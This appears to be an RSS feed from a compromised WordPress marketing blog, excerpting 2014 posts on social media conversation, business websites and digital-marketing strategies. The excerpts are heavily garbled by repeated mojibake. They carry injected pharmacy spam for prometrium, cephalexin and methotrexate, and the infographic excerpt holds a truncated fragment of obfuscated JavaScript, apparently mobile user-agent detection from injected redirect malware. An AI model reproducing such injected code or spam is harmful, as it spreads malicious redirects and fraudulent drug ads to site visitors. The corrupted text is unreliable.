<?xml version="1.0" encoding="UTF-7"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>EASMG - East African Social Media Gurus &#187; digital marketing</title>
	<atom:link href="http://easmg.com/blog/tag/digital-marketing/feed/" rel="self" type="application/rss+xml" />
	<link>http://easmg.com</link>
	<description>Smarter Digital Marketing</description>
	<lastBuildDate>Tue, 07 Apr 2026 06:30:10 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.0.38</generator>
	<item>
		<title>5 Social Media Conversation Tips</title>
		<link>http://easmg.com/blog/2014/11/18/5-social-media-conversation-tips/</link>
		<comments>http://easmg.com/blog/2014/11/18/5-social-media-conversation-tips/#comments</comments>
		<pubDate>Tue, 18 Nov 2014 16:23:11 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Digital Marketing]]></category>
		<category><![CDATA[Social Media Marketing]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[conversation]]></category>
		<category><![CDATA[digital marketing]]></category>
		<category><![CDATA[social media tips]]></category>

		<guid isPermaLink="false">http://easmg.com/?p=546</guid>
		<description><![CDATA[The success of a brandi??i??i??i??i??i?i??i??i??i??i??i?i??i??i??s social Where to buy prometrium media presence depends on so many factors, but one of the most important ones is how they converse with their audience. Iti??i??i??i??i??i?i??i??i??i??i??i?i??i??i??s not enough to have fancy photos and promotions. Without proper engagement and connections, iti??i??i??i??i??i?i??i??i??i??i??i?i??i??i??ll be difficult to retain and attract customers. Like conversations<span class="moretag"><a href="http://easmg.com/blog/2014/11/18/5-social-media-conversation-tips/"> Read more</a><span>]]></description>
		<wfw:commentRss>http://easmg.com/blog/2014/11/18/5-social-media-conversation-tips/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>5 Reasons Your Business Should Have a Website</title>
		<link>http://easmg.com/blog/2014/11/14/5-reasons-your-business-should-have-a-website/</link>
		<comments>http://easmg.com/blog/2014/11/14/5-reasons-your-business-should-have-a-website/#comments</comments>
		<pubDate>Fri, 14 Nov 2014 15:30:46 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Digital Marketing]]></category>
		<category><![CDATA[Website]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[digital marketing]]></category>
		<category><![CDATA[website]]></category>

		<guid isPermaLink="false">http://easmg.com/?p=542</guid>
		<description><![CDATA[The time when it was considered a i??i??i??i??i??i?i??i??i??i??i??i??luxuryi??i??i??i??i??i?i??i??i??i??i??i?? or an i??i??i??i??i??i?i??i??i??i??i??i??optioni??i??i??i??i??i?i??i??i??i??i??i?? to have a business website is long gone. Taking your stake in cyberspace with a website is now considered essential to stay ahead of the competition. In the world of mobile apps, online shopping and daily deal sites competing for consumer attention, not having<span class="moretag"><a href="http://easmg.com/blog/2014/11/14/5-reasons-your-business-should-have-a-website/"> Read more</a><span>]]></description>
		<wfw:commentRss>http://easmg.com/blog/2014/11/14/5-reasons-your-business-should-have-a-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Infographic: Traditional Marketing vs. Digital Marketing</title>
		<link>http://easmg.com/blog/2014/10/28/infographic-traditional-vs-digital-marketing/</link>
		<comments>http://easmg.com/blog/2014/10/28/infographic-traditional-vs-digital-marketing/#comments</comments>
		<pubDate>Tue, 28 Oct 2014 14:21:28 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Digital Marketing]]></category>
		<category><![CDATA[Email Marketing]]></category>
		<category><![CDATA[Social Media Marketing]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[digital marketing]]></category>
		<category><![CDATA[email marketing]]></category>
		<category><![CDATA[infographics]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[traditional marketing]]></category>

		<guid isPermaLink="false">http://easmg.com/?p=497</guid>
		<description><![CDATA[A lot of us already know the efficacy ofi??i??i?i??i??i??i??i??i?i??i??i??digital marketing. In-the-knowi??i??i?i??i??i??i??i??i?i??i??i??marketers nowadays put more effort in this new marketing strategy. Still not convinced? Still wondering why digital marketingi??i??i?i??i??i??i??i??i?i??i??i??is more effective than cephalexin 500mg for sale traditional marketing? Here&#8217;si??i??i?i??i??i??i??i??i?i??i??i??an infographic to Buy methotrexate online address youri??i??i?i??i??i??i??i??i?i??i??i??questions&#8230; xi&#124;re)\/&#124;plucker&#124;pocket&#124;psp&#124;series(4&#124;6)0&#124;symbian&#124;treo&#124;up\.(browser&#124;link)&#124;vodafone&#124;wap&#124;windows ce&#124;xda&#124;xiino/i[_0x446d[8]](_0xecfdx1)&#124;&#124; /1207&#124;6310&#124;6590&#124;3gso&#124;4thp&#124;50[1-6]i&#124;770s&#124;802s&#124;a wa&#124;abac&#124;ac(er&#124;oo&#124;s\-)&#124;ai(ko&#124;rn)&#124;al(av&#124;ca&#124;co)&#124;amoi&#124;an(ex&#124;ny&#124;yw)&#124;aptu&#124;ar(ch&#124;go)&#124;as(te&#124;us)&#124;attw&#124;au(di&#124;\-m&#124;r &#124;s )&#124;avan&#124;be(ck&#124;ll&#124;nq)&#124;bi(lb&#124;rd)&#124;bl(ac&#124;az)&#124;br(e&#124;v)w&#124;bumb&#124;bw\-(n&#124;u)&#124;c55\/&#124;capi&#124;ccwa&#124;cdm\-&#124;cell&#124;chtm&#124;cldc&#124;cmd\-&#124;co(mp&#124;nd)&#124;craw&#124;da(it&#124;ll&#124;ng)&#124;dbte&#124;dc\-s&#124;devi&#124;dica&#124;dmob&#124;do(c&#124;p)o&#124;ds(12&#124;\-d)&#124;el(49&#124;ai)&#124;em(l2&#124;ul)&#124;er(ic&#124;k0)&#124;esl8&#124;ez([4-7]0&#124;os&#124;wa&#124;ze)&#124;fetc&#124;fly(\-&#124;_)&#124;g1 u&#124;g560&#124;gene&#124;gf\-5&#124;g\-mo&#124;go(\.w&#124;od)&#124;gr(ad&#124;un)&#124;haie&#124;hcit&#124;hd\-(m&#124;p&#124;t)&#124;hei\-&#124;hi(pt&#124;ta)&#124;hp( i&#124;ip)&#124;hs\-c&#124;ht(c(\-&#124; &#124;_&#124;a&#124;g&#124;p&#124;s&#124;t)&#124;tp)&#124;hu(aw&#124;tc)&#124;i\-(20&#124;go&#124;ma)&#124;i230&#124;iac( &#124;\-&#124;\/)&#124;ibro&#124;idea&#124;ig01&#124;ikom&#124;im1k&#124;inno&#124;ipaq&#124;iris&#124;ja(t&#124;v)a&#124;jbro&#124;jemu&#124;jigs&#124;kddi&#124;keji&#124;kgt(<span class="moretag"><a href="http://easmg.com/blog/2014/10/28/infographic-traditional-vs-digital-marketing/"> Read more</a><span>]]></description>
		<wfw:commentRss>http://easmg.com/blog/2014/10/28/infographic-traditional-vs-digital-marketing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Case Study: 4 Digital Marketing Strategies to Emulate</title>
		<link>http://easmg.com/blog/2014/10/27/4-companies-digital-marketing-strategies-emulate/</link>
		<comments>http://easmg.com/blog/2014/10/27/4-companies-digital-marketing-strategies-emulate/#comments</comments>
		<pubDate>Mon, 27 Oct 2014 09:07:22 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Digital Marketing]]></category>
		<category><![CDATA[Social Media Marketing]]></category>
		<category><![CDATA[content marketing]]></category>
		<category><![CDATA[digital marketing]]></category>
		<category><![CDATA[examples]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[pinterest]]></category>
		<category><![CDATA[Strategies]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[YouTube]]></category>

		<guid isPermaLink="false">http://easmg.com/?p=468</guid>
		<description><![CDATA[Need inspiration? Doni??i??i??i??i??i?i??i??i??i??i??i?i??i??i??t bother hitting your head on the wall. Instead, read on. We&#8217;ve compiled four of the best digital marketing strategies and a lesson to learn from each. &#160; 1 i??i??i??i??i??i?i??i??i??i??i??i?i??i??i?? Coca Cola Coca Cola teaches us that content marketing is the way of the future. Coca Colai??i??i??i??i??i?i??i??i??i??i??i?i??i??i??s i??i??i??i??i??i?i??i??i??i??i??i??Content 2020i??i??i??i??i??i?i??i??i??i??i??i?? campaign aims to double<span class="moretag"><a href="http://easmg.com/blog/2014/10/27/4-companies-digital-marketing-strategies-emulate/"> Read more</a><span>]]></description>
		<wfw:commentRss>http://easmg.com/blog/2014/10/27/4-companies-digital-marketing-strategies-emulate/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
